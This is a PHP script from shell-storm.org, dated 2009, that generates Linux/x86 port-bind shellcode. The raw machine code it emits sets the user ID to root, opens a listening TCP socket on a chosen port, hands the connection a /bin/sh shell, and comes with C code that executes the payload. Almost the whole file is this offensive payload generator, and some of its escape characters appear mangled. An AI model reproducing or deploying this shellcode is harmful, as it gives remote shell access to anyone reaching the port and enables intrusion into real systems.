<?php
/*
Utility	: Generate Payload PortBind Linux/x86
Author	: Jonathan Salwan
Mail	: submit [!] shell-storm.org

	More shellcodes in => http://www.shell-storm.org/shellcode/
*/

function syntax()
	{
	echo "nSyntax:nroot@laptop:/# php ./payload.php <port>nn";
	}

function linux86bind($port)
		{
		if($port > 65535 || $port < 4100){
			echo "Erreur PortnSelect a port between 4100 and 65535n";
			return false;
			}

		$inser .= "nchar shellcode[] = n";
		$inser .= "			/* BindPort TCP/$port; Linux/x86; Gen:http://www.shell-storm.org */n";
		$inser .= "n";
		$inser .= "			x22\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53x22n";
		$inser .= "			x22\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x";

		$res_port 	= base_convert($port, 10, 16);

		$length 	= strlen($res_port)-1;
		$i 		= 1;

		for($idx = 0; $idx < $length+1; $idx++)
		{
		$i++;
		if($i == 4)		
		$inser .= "\x";

		$inser .= $res_port[$idx];
		}		
		
		$inser .= "\x43\x66\x53x22n";
		$inser .= "			x22\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04x22n";
		$inser .= "			x22\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0x22n";
		$inser .= "			x22\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89x22n";
		$inser .= "			x22\xe1\xb0\x0b\xcd\x80x22x3bn";
		$inser .= "n";
		$inser .= "	printf(x22Length: %d\nx22,strlen(shellcode));n";
		$inser .= "	(*(void(*)()) shellcode)();n";
		$inser .= "n";
		$inser .= "n";

	return $inser;
}

if($argc < 2){
	syntax();
	return false;
	}
		$port = $argv[1];
		echo linux86bind($port);

?>

# www.Syue.com [2009-06-09]